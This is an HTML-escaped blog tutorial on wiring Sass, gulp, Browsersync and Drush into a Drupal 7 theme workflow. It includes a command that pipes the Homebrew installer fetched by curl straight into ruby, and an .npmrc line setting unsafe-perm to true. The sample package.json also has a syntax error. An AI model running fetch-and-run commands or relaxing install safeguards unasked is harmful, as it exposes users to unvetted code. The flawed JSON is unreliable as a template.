&lt;p&gt;Sass was invented by &lt;a href=&quot;http://www.hamptoncatlin.com/&quot;&gt;Hampton Catlin&lt;/a&gt; in 2006. &lt;a href=&quot;https://twitter.com/nex3/&quot;&gt;Natalie Weizenbaum&lt;/a&gt;, the primary designer and developer of Sass, and &lt;a href=&quot;http://chriseppstein.github.io/&quot;&gt;Chris Eppstein&lt;/a&gt; are the main contributors to the Sass language. The full Sass documentation can be found &lt;a href=&quot;http://sass-lang.com/documentation/file.SASS_REFERENCE.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sass extends what CSS can do, by introducing useful features such as variables, nesting, mixins and so on. Browsers, however, only understand CSS so the Sass files have to be compiled into CSS for it to serve its purpose.&lt;/p&gt;
&lt;p&gt;Sass files come in two different syntaxes, Sass and &lt;abbr title=&quot;Sassy CSS&quot;&gt;SCSS&lt;/abbr&gt;, both are currently supported but SCSS is the primary syntax. SCSS is exactly the same as CSS, so renaming any &lt;code&gt;.css&lt;/code&gt; file to &lt;code&gt;.scss&lt;/code&gt; works perfectly fine.&lt;/p&gt;
&lt;p&gt;Sass originated as an open-source project built in Ruby. You can check out the source code &lt;a href=&quot;https://github.com/sass/sass&quot;&gt;here&lt;/a&gt;. There are many ways you can get up and running with Sass, either from a GUI application or simply the command line.&lt;/p&gt;
&lt;p&gt;The official documentation for &lt;a href=&quot;http://sass-lang.com/install&quot;&gt;installing Sass&lt;/a&gt; is pretty comprehensive. The gist of all this is, in order to use Sass in your projects, the Sass files have to be compiled into CSS files first. &lt;a href=&quot;http://simplebits.com/&quot;&gt;Dan Cederholm&lt;/a&gt; wrote a great article about &lt;a href=&quot;http://alistapart.com/article/why-sass&quot;&gt;Why Sass&lt;/a&gt; on A List Apart. He describes how Sass simplifies and streamlines the stylesheet authoring process.&lt;/p&gt;
&lt;p&gt;Personally, the Sass functionalities I make use of most are variables and mixins. As well as the occasional for-loop. If you want to see a true Sass pro, &lt;a href=&quot;http://hugogiraudel.com/&quot;&gt;Hugo Giraudel&lt;/a&gt; is your man. He does a lot of amazing things with Sass and you should check out his &lt;a href=&quot;http://hugogiraudel.com/blog/&quot;&gt;blog&lt;/a&gt; and all his various &lt;a href=&quot;http://hugogiraudel.com/projects/&quot;&gt;projects&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;And that other thing called gulp&lt;/h2&gt;
&lt;p&gt;Officially, &lt;a href=&quot;http://gulpjs.com/&quot;&gt;gulp&lt;/a&gt; is a build system. When I first heard of all these tools, like &lt;a href=&quot;http://gruntjs.com/&quot;&gt;Grunt&lt;/a&gt; and gulp, I didn&apos;t understand what they were. Terms like task-runner, build tools, streams and so on just flew over my head.&lt;/p&gt;
&lt;p&gt;The first article I ever read on task-runners was &lt;a href=&quot;https://24ways.org/2013/grunt-is-not-weird-and-hard/&quot;&gt;Grunt for People Who Think Things Like Grunt are Weird and Hard&lt;/a&gt; by &lt;a href=&quot;http://chriscoyier.net/&quot;&gt;Chris Coyier&lt;/a&gt;. Honestly, I didn&apos;t get it. But it&apos;s totally my problem and not his (he&apos;s awesome).&lt;/p&gt;
&lt;p&gt;A fellow front-end developer tried to explain to me the benefits of Grunt, but at the time, there was nothing that I needed from Grunt which Codekit couldn&apos;t do. So I left task-runners alone, and went about my own way.&lt;/p&gt;
&lt;p&gt;Earlier this year, I started doing a lot of HTML, CSS and JavaScript experiments, so I came up with my own extremely bare-bones boilerplate, consisting of a 20-line HTML5 template file plus a styles.css file and a scripts.js file, both of which are blank.&lt;/p&gt;
&lt;p&gt;During these experiments, I found myself pressing ⌘-⇧-R at an alarming rate. Specifically I was doing ⌘-S (save file), ⌘-tab (switch to browser), ⌘-⇧-R (reload browser). And so, &lt;a href=&quot;https://www.browsersync.io/&quot;&gt;Browsersync&lt;/a&gt;. Thing is, if you google &amp;quot;Browsersync development&amp;quot;, the first result is &lt;a href=&quot;https://www.browsersync.io/docs/gulp&quot;&gt;Browsersync + Gulp.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I had heard that gulp was easier to understand that Grunt, but was still sceptical, until I read the first tutorial. I actually understood what was happening almost immediately &lt;span class=&quot;kaomoji&quot;&gt;( ﾉ^.^)ﾉﾟ&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;In a nutshell, when we do front-end development, there are certain actions or tasks that we do repeatedly. Like the aforementioned furious browser-reloading. Sometimes, we also use Sass, which needs to be compiled. When we write JavaScript, best practice implores us to concatenate and minify our scripts (for production).&lt;/p&gt;
&lt;p&gt;Lots of stuff to take care of. Rather than have to do all that manually, task-runners like Grunt and gulp can do them automatically whenever we save our working files. So that&apos;s what everyone is talking about when they say automating your workflow.&lt;/p&gt;
&lt;h2&gt;Getting gulp on your system&lt;/h2&gt;
&lt;h3&gt;Node.js&lt;/h3&gt;
&lt;p&gt;gulp is based on &lt;a href=&quot;https://nodejs.org/&quot;&gt;Node.js&lt;/a&gt;. Node.js is an open source JavaScript run-time system, in other words, it&apos;s a way for your computer to execute JavaScript code. You can read this &lt;a href=&quot;https://web.archive.org/web/20161119003131/http://blog.modulus.io/absolute-beginners-guide-to-nodejs&quot;&gt;introduction to Node.js article&lt;/a&gt; to find out more about it.&lt;/p&gt;
&lt;p&gt;The bottom line is, you need to install Node.js on your computer. The most direct way to do this is to download and run the installer from the official website&apos;s &lt;a href=&quot;https://nodejs.org/download/&quot;&gt;downloads page&lt;/a&gt;. This approach works for both Windows and Mac.&lt;/p&gt;
&lt;p&gt;Now if you&apos;re on Linux, the assumption is you by default already know how to get Node.js on your system. Nah, just kidding. &lt;a href=&quot;https://www.joyent.com/&quot;&gt;Joyent&lt;/a&gt; has a great guide on &lt;a href=&quot;https://github.com/joyent/node/wiki/Installing-Node.js-via-package-manager&quot;&gt;installing Node.js and NPM&lt;/a&gt; for a variety of Linux distributions.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;As a Mac user, I use &lt;a href=&quot;http://brew.sh/&quot;&gt;Homebrew&lt;/a&gt; to handle all my development-related packages. Makes life easy when you can &lt;code&gt;brew install&lt;/code&gt; almost all the things. To use Homebrew, you’ll need to install Command Line Tools first.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xcode-select --install
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;A software update window will pop-up and ask if you want to install the tools now. Just click Install and agree to the Terms and Conditions. The package is around 150mb (I think) and will download and install by itself. Once that&apos;s done, install Homebrew.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can check that everything is running correctly by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew doctor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If it returns &lt;code&gt;Your system is ready to brew&lt;/code&gt; then you&apos;re good to go. And now we finally get to install Node.js. Node.js comes with &lt;abbr title=&quot;Node Package Manager&quot;&gt;NPM&lt;/abbr&gt;, which handles all your Node packages, like Gulp and Browsersync. To verify your installation, run &lt;code&gt;node -v&lt;/code&gt; and &lt;code&gt;npm -v&lt;/code&gt; in your Terminal. Both command should return the respective version numbers of each package.&lt;/p&gt;
&lt;img alt=&quot;Check node install&quot; srcset=&quot;/images/posts/drupal-gulp/node-install@2x.jpg 2x&quot; src=&quot;/images/posts/drupal-gulp/node-install.jpg&quot;&gt;
&lt;h3&gt;gulp&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;I don’t think most people care, but according to the &lt;a href=&quot;https://github.com/gulpjs/gulp/blob/master/docs/FAQ.md&quot;&gt;FAQ&lt;/a&gt;, gulp is always lowercase, except for on the logo. But anyway, the next step is installing gulp.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install gulp -g
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-g&lt;/code&gt; flag installs gulp globally on your system, allowing it to be used as a command line utility, even outside of node projects. However, you will still need to install gulp locally in your project folder. gulp will always look for a locally installed gulp to pass control to. This is actually makes deployment and dependency management much easier.&lt;/p&gt;
&lt;h2&gt;gulp-ify your Drupal theme&lt;/h2&gt;
&lt;p&gt;If you&apos;re just starting out with Drupal theming, you can read my previous post on exactly that &lt;a href=&quot;/blog/drupal-101-d7-theming/&quot;&gt;right here&lt;/a&gt;. The setup for this workflow is going to be different from the typical gulp tutorials you see on the web. Because Drupal has it&apos;s own quirks, you know.&lt;/p&gt;
&lt;h3&gt;Setting up the package.json file&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;Navigate to the root of your Theme folder and initiate a new node project.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will trigger a series of prompts for the generation of a &lt;code&gt;package.json&lt;/code&gt; file. This file will store all the information about the required node packages for your project.&lt;/p&gt;
&lt;img alt=&quot;npm init&quot; srcset=&quot;/images/posts/drupal-gulp/npm-init-480.jpg 480w, /images/posts/drupal-gulp/npm-init-640.jpg 640w, /images/posts/drupal-gulp/npm-init-960.jpg 960w, /images/posts/drupal-gulp/npm-init-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/drupal-gulp/npm-init-640.jpg&quot;&gt;
&lt;p&gt;Most of the prompts are pretty intuitive, and if you leave any of the fields blank, default values will be used. You can always change those values later. Set the entry point to &lt;code&gt;gulpfile.js&lt;/code&gt; , and add information like the git repository if you wish.&lt;/p&gt;
&lt;img alt=&quot;package.json file&quot; srcset=&quot;/images/posts/drupal-gulp/package-json-480.jpg 480w, /images/posts/drupal-gulp/package-json-640.jpg 640w, /images/posts/drupal-gulp/package-json-960.jpg 960w, /images/posts/drupal-gulp/package-json-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/drupal-gulp/package-json-640.jpg&quot;&gt;
&lt;p&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exclamation mark&quot;&gt;❗&lt;/span&gt; &lt;strong&gt;Important: Preventing segmentation fault&lt;/strong&gt;&lt;br&gt;
To prevent triggering a segmentation fault when running Drush, we need to add a script to the &lt;code&gt;package.json&lt;/code&gt; file that will remove all &lt;code&gt;.info&lt;/code&gt; files from the &lt;code&gt;node_modules&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;Each node package has it&apos;s own &lt;code&gt;.info&lt;/code&gt; file and it turns out that Drush thinks that they are all part of Drupal. Unfortunately, they are not in a format that Drush recognises and hence everything blows up badly. The &lt;code&gt;.info&lt;/code&gt; files are not necessary for gulp to run properly so it&apos;s safe to remove them.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;If you had generated your &lt;code&gt;package.json&lt;/code&gt; file by using &lt;code&gt;npm init&lt;/code&gt; , locate the section called &lt;code&gt;&quot;scripts&quot;:&lt;/code&gt; , and replace the line:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;with this line instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;quot;postinstall&amp;quot;: &amp;quot;find node_modules/ -name &apos;*.info&apos; -type f -delete&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;Also, create a file called &lt;code&gt;.npmrc&lt;/code&gt; in the root of your theme folder with the following contents:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;unsafe-perm = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;References to this issue:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://drupal.stackexchange.com/questions/126880/how-do-i-prevent-drupal-raising-a-segmentation-fault-when-using-a-node-js-themin&quot;&gt;How do I prevent Drupal raising a segmentation fault when using a Node.js theming workflow?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dannyenglander.com/blog/drupal-drush-segmentation-fault-11-error-avoiding-rabbit-hole&quot;&gt;Drupal Drush Segmentation Fault 11 Error: Avoiding the Rabbit Hole&lt;/a&gt; &lt;em&gt;(This one’s a good read)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Adding plugins to the package.json file&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;Under normal circumstances, adding gulp-plugins to your project is a straight-forward affair on the command line. Simply use the command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install PLUGIN_NAME --save-dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;--save-dev&lt;/code&gt; flag adds gulp, as a dependency, to your &lt;code&gt;package.json&lt;/code&gt; file. All the subsequent gulp plug-ins we install locally will also go into this &lt;code&gt;package.json&lt;/code&gt; file. For this case, however, we&apos;ll add the plugins we need directly to the &lt;code&gt;package.json&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Since gulp is simply a tool that helps automate tasks, we need to decide what tasks we want gulp to do for us. For example, I use Sass in my Drupal themes, so one of my tasks will be to compile Sass. This particular workflow I&apos;m describing does not come with minification though.&lt;/p&gt;
&lt;p&gt;I made the decision to handle performance optimisation through Drupal itself. Drupal 7 comes with the option of aggregating and compressing CSS, and aggregating JS. Even though Drupal 7 does not minify JS natively, there is a module called &lt;a href=&quot;https://www.drupal.org/project/minify&quot;&gt;Minify&lt;/a&gt; that uses &lt;a href=&quot;https://developers.google.com/closure/compiler/?hl=en&quot;&gt;Google&apos;s Closure Compiler&lt;/a&gt; for compression. This workflow I&apos;m building really just automates the actual theming process (building templates, writing styles etc.).&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here&apos;s the list of plug-ins needed and what they will be used for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp&quot;&gt;gulp&lt;/a&gt; - Still have to install gulp locally&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-sass&quot;&gt;gulp-sass&lt;/a&gt; - To compile Sass into CSS&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-autoprefixer&quot;&gt;gulp-autoprefixer&lt;/a&gt; - To add vendor-prefixes based on the latest specifications&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/browser-sync&quot;&gt;browser-sync&lt;/a&gt; - To live-reload the browser&lt;/li&gt;
  &lt;li style=&quot;text-decoration:line-through&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-shell&quot;&gt;gulp-shell&lt;/a&gt; - To run drush for clearing caches&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Update: gulp-shell is &lt;a href=&quot;https://github.com/sun-zheng-an/gulp-shell/issues/55&quot;&gt;apparently an anti-pattern&lt;/a&gt; that has ceased to be supported from gulp 4 onwards. Use child-process instead. The package.json and gulpfile.js has been updated accordingly.&lt;/em&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;This is what the final &lt;code&gt;package.json&lt;/code&gt; looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;name&amp;quot;: &amp;quot;godzilla&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;1.0.0&amp;quot;,
  &amp;quot;description&amp;quot;: &amp;quot;A custom Drupal 7 godzilla theme&amp;quot;,
  &amp;quot;main&amp;quot;: &amp;quot;gulpfile.js&amp;quot;,
  &amp;quot;devDependencies&amp;quot;: {
    &amp;quot;browser-sync&amp;quot;: &amp;quot;^2.8.1&amp;quot;,
    &amp;quot;gulp&amp;quot;: &amp;quot;^3.9.0&amp;quot;,
    &amp;quot;gulp-autoprefixer&amp;quot;: &amp;quot;^2.3.1&amp;quot;,
    &amp;quot;gulp-sass&amp;quot;: &amp;quot;^2.0.4&amp;quot;,
  },
  &amp;quot;scripts&amp;quot;: {
    &amp;quot;postinstall&amp;quot;: &amp;quot;find node_modules/ -name &apos;*.info&apos; -type f -delete&amp;quot;
  },
  &amp;quot;author&amp;quot;: &amp;amp;quot;huijing&amp;amp;quot;,
  &amp;quot;license&amp;quot;: &amp;quot;ISC&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Install all the things&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;Run the following command in the root of your theme folder, which is where your &lt;code&gt;package.json&lt;/code&gt; file should be:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll see a whole lot of stuff going on in your terminal, but when all is said and done, you&apos;ll have a &lt;code&gt;node_modules&lt;/code&gt; folder in your theme folder.&lt;/p&gt;
&lt;p&gt;This installation allows the script to prevent segmentation fault we added earlier to run as the modules are installed. For future gulp-plugins, you may have to run a &lt;a href=&quot;http://dannyenglander.com/blog/drupal-drush-segmentation-fault-11-error-avoiding-rabbit-hole&quot;&gt;script&lt;/a&gt; to remove their &lt;code&gt;.info&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;Make sure that &lt;code&gt;node_modules&lt;/code&gt; is added to your &lt;code&gt;.gitignore&lt;/code&gt; file because we do &lt;strong&gt;NOT&lt;/strong&gt; want to commit those files. We only commit the &lt;code&gt;package.json&lt;/code&gt; file and the &lt;code&gt;gulpfile.js&lt;/code&gt; file. Anyone who clones the project will need to run &lt;code&gt;npm install&lt;/code&gt; to get the project up and running.&lt;/p&gt;
&lt;h3&gt;Writing the gulpfile.js&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Load the required plug-ins&lt;/strong&gt;&lt;br&gt;
The &lt;code&gt;require&lt;/code&gt; statement tells Node.js to refer to the &lt;code&gt;node_modules&lt;/code&gt; folder, find the package stated in parenthesis and pass that into each respective variable in the list. These variables will be used when we write our various gulp tasks.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var gulp = require(&amp;quot;gulp&amp;quot;),
  browserSync = require(&amp;quot;browser-sync&amp;quot;),
  sass = require(&amp;quot;gulp-sass&amp;quot;),
  prefix = require(&amp;quot;gulp-autoprefixer&amp;quot;),
  cp = require(&amp;quot;child_process&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Creating tasks&lt;/strong&gt;
We&apos;ll start off by creating a task to &lt;strong&gt;compile Sass into CSS&lt;/strong&gt;. We&apos;ll also use &lt;a href=&quot;https://github.com/sindresorhus/gulp-autoprefixer&quot;&gt;Autoprefixer&lt;/a&gt; to add vendor-prefixes to the file before it gets output as a CSS file in the &lt;code&gt;css&lt;/code&gt; folder. Finally, we want the new styles to be injected into the browser (no more ⌘-⇧-R〈( ^.^)ノ). Just check that your file paths are correct.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
 * @task sass
 * Compile files from scss
 */
gulp.task(&amp;quot;sass&amp;quot;, function () {
  return gulp
    .src(&amp;quot;scss/styles.scss&amp;quot;) // the source .scss file
    .pipe(sass()) // pass the file through gulp-sass
    .pipe(prefix([&amp;quot;last 15 versions&amp;quot;, &amp;quot;&amp;gt; 1%&amp;quot;, &amp;quot;ie 8&amp;quot;, &amp;quot;ie 7&amp;quot;], { cascade: true })) // pass the file through autoprefixer
    .pipe(gulp.dest(&amp;quot;css&amp;quot;)) // output .css file to css folder
    .pipe(browserSync.reload({ stream: true })); // reload the stream
});
&lt;/code&gt;&lt;/pre&gt;
 &lt;p class=&quot;no-margin&quot;&gt;We&apos;ll also want a task for our favourite drush command, &lt;code&gt;drush cc all&lt;/code&gt;. &lt;strong&gt;Clearing cache&lt;/strong&gt; is the Drupal equivalent of &lt;em&gt;&quot;Did you turn it off and on again?&quot;&lt;/em&gt;. I don&apos;t know about you but if I had a dollar for every time I ran this command, I&apos;d be sipping Piña coladas &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;cocktail glass&quot;&gt;&amp;#x1F378;&lt;/span&gt; all day on a beach in the Caribbean &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;&amp;#x1F60E;&lt;/span&gt; by now. If you aren&apos;t using Drush, you really should. &lt;a href=&quot;/blog/team-drupal-development#installing-drush&quot;&gt;Here’s&lt;/a&gt; an earlier post on how to get set up with Drush.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
  * @task clearcache
  * Clear all caches
  */
gulp.task(&apos;clearcache&apos;, function(done) {
  return cp.spawn(&apos;drush&apos;, [&apos;cc all&apos;], {stdio: &apos;inherit&apos;})
  .on(&apos;close&apos;, done);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;After clearing the cache, we&apos;ll also want to &lt;strong&gt;reload the page&lt;/strong&gt;. &lt;code&gt;gulp.task()&lt;/code&gt; accepts three parameters, the task name (which is a string), an array of tasks to be completed before the current task can begin, and the function that holds the logic of the task. The array is an optional argument, so it&apos;s common to see gulp tasks with only two parameters defined. Here I want the &lt;code&gt;&apos;clearcache&apos;&lt;/code&gt; task to complete before reloading the page.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
 * @task reload
 * Refresh the page after clearing cache
 */
gulp.task(&amp;quot;reload&amp;quot;, [&amp;quot;clearcache&amp;quot;], function () {
  browserSync.reload();
});
&lt;/code&gt;&lt;/pre&gt;
 &lt;p class=&quot;no-margin&quot;&gt;We want the &lt;code&gt;&apos;sass&apos;&lt;/code&gt; task to trigger when we&apos;ve made changes to our .scss files and the &lt;code&gt;&apos;clearcache&apos;&lt;/code&gt; task to trigger when we&apos;ve made changes to our template files. So we write another task to watch those files and trigger their respective tasks when changes have been made.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
 * @task watch
 * Watch scss files for changes &amp;amp; recompile
 * Clear cache when Drupal related files are changed
 */
gulp.task(&amp;quot;watch&amp;quot;, function () {
  gulp.watch([&amp;quot;scss/*.scss&amp;quot;, &amp;quot;scss/**/*.scss&amp;quot;], [&amp;quot;sass&amp;quot;]);
  gulp.watch(&amp;quot;**/*.{php,inc,info}&amp;quot;, [&amp;quot;reload&amp;quot;]);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browsersync is much more than just a tool to reload your browser. The sync portion of the name comes from the fact that you can synchronise interactions across multiple browsers. So if I set up a bunch of devices whose browsers are pointing to browser-sync&apos;s external access URL, I can control all these browsers at the same time. Scrolling, clicking, you name it. The &lt;a href=&quot;https://www.browsersync.io/docs&quot;&gt;documentation&lt;/a&gt; is pretty comprehensive, and it&apos;s a good idea to familiarise yourself this extremely useful tool.&lt;/p&gt;
 &lt;p class=&quot;no-margin&quot;&gt;You will need to install the browsersync Drupal module for this to work.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en browsersync -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then go to &lt;em&gt;Appearance &amp;gt; YOUR_THEME&lt;/em&gt; and check &lt;em&gt;Enable Browsersync&lt;/em&gt;, and you should be all set. On the gulpfile.js side of things, set the proxy to whatever alias your Drupal site is on. For the domain, just set it to localhost:3000, which is the Browsersync default. When you need to do testing on other devices, replace the IP address with the one shown in your Terminal window after running gulp.&lt;/p&gt;
 &lt;img alt=&quot;gulp&quot; srcset=&quot;/images/posts/drupal-gulp/gulp-480.jpg 480w, /images/posts/drupal-gulp/gulp-640.jpg 640w, /images/posts/drupal-gulp/gulp-960.jpg 960w, /images/posts/drupal-gulp/gulp-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/drupal-gulp/gulp-640.jpg&quot;&gt;
 &lt;p class=&quot;no-margin&quot;&gt;The task to &lt;strong&gt;launch the Browsersync server&lt;/strong&gt; should look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
 * Launch the Server
 */
gulp.task(&amp;quot;browser-sync&amp;quot;, [&amp;quot;sass&amp;quot;], function () {
  browserSync.init({
    // Change as required
    proxy: &amp;quot;sandbox.dev&amp;quot;,
    socket: {
      // For local development only use the default Browsersync local URL.
      domain: &amp;quot;localhost:3000&amp;quot;,
      // For external development (e.g on a mobile or tablet) use an external URL.
      // You will need to update this to whatever BS tells you is the external URL when you run Gulp.
      //domain: &apos;192.168.0.13:3000&apos;
    },
  });
});
&lt;/code&gt;&lt;/pre&gt;
 &lt;p class=&quot;no-margin&quot;&gt;Lastly, we&apos;re going to put everything together and write the task that runs all the things. This task will launch the Browsersync server and watch our files for changes. Each individual gulp task can be called with the command &lt;code&gt;gulp TASK_NAME&lt;/code&gt;, by naming this task &lt;code&gt;&apos;default&apos;&lt;/code&gt;, we can run it by just typing &lt;code&gt;gulp&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/**
 * Default task, running just `gulp` will
 * compile Sass files, launch Browsersync &amp;amp; watch files.
 */
gulp.task(&amp;quot;default&amp;quot;, [&amp;quot;browser-sync&amp;quot;, &amp;quot;watch&amp;quot;]);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p class=&quot;no-margin&quot;&gt;My &lt;code&gt;gulpfile.js&lt;/code&gt; in its entirety looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;  var gulp        = require(&apos;gulp&apos;),
    browserSync = require(&apos;browser-sync&apos;),
    sass        = require(&apos;gulp-sass&apos;),
    prefix      = require(&apos;gulp-autoprefixer&apos;),
    cp          = require(&apos;child_process&apos;);&amp;amp;NewLine;
/**
   * Launch the Server
  */
gulp.task(&apos;browser-sync&apos;, [&apos;sass&apos;], function() {
  browserSync.init({
    // Change as required
    proxy: &amp;quot;sandbox.dev&amp;quot;,
    socket: {
      // For local development only use the default Browsersync local URL.
      //domain: &apos;localhost:3000&apos;
      // For external development (e.g on a mobile or tablet) use an external URL.
      // You will need to update this to whatever BS tells you is the external URL when you run Gulp.
      domain: &apos;192.168.0.13:3000&apos;
    }
  });
})

/**
   * @task sass
  * Compile files from scss
  */
gulp.task(&apos;sass&apos;, function () {
  return gulp.src(&apos;scss/styles.scss&apos;)
  .pipe(sass())
  .pipe(prefix([&apos;last 15 versions&apos;, &apos;&amp;gt; 1%&apos;, &apos;ie 8&apos;, &apos;ie 7&apos;], { cascade: true }))
  .pipe(gulp.dest(&apos;css&apos;))
  .pipe(browserSync.reload({stream:true}))
})

/**
   * @task clearcache
  * Clear all caches
  */
gulp.task(&apos;clearcache&apos;, function(done) {
  return cp.spawn(&apos;drush&apos;, [&apos;cc all&apos;], {stdio: &apos;inherit&apos;})
  .on(&apos;close&apos;, done);
})

/**
   * @task reload
  * Refresh the page after clearing cache
  */
gulp.task(&apos;reload&apos;, [&apos;clearcache&apos;], function () {
  browserSync.reload();
})

/**
   * @task watch
  * Watch scss files for changes &amp;amp; recompile
  * Clear cache when Drupal related files are changed
  */
gulp.task(&apos;watch&apos;, function () {
  gulp.watch([&apos;scss/*.scss&apos;, &apos;scss/**/*.scss&apos;], [&apos;sass&apos;]);
  gulp.watch(&apos;**/*.{php,inc,info}&apos;,[&apos;reload&apos;]);
})

/**
   * Default task, running just `gulp` will
  * compile Sass files, launch BrowserSync &amp;amp; watch files.
  */
gulp.task(&apos;default&apos;, [&apos;browser-sync&apos;, &apos;watch&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Up and running with Gulp&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;While you&apos;re in the root of your theme folder, run the command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gulp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your terminal should look like the last screenshot above, and your browser will have a new window open with the URL pointing to &lt;code&gt;http://localhost:3000&lt;/code&gt;. There will be a brief notification in the right corner that says &lt;em&gt;Connected to BrowserSync&lt;/em&gt;. Now, when you write your styles, they will magically update in the Browser without you having to do anything.&lt;/p&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;I learnt a lot throughout the process of trying to use gulp as part of my theming workflow and also spent a good amount of time googling issues. And hopefully some of the stuff I mentioned will save you some troubleshooting time when you set up your own theme to use gulp.&lt;/p&gt;
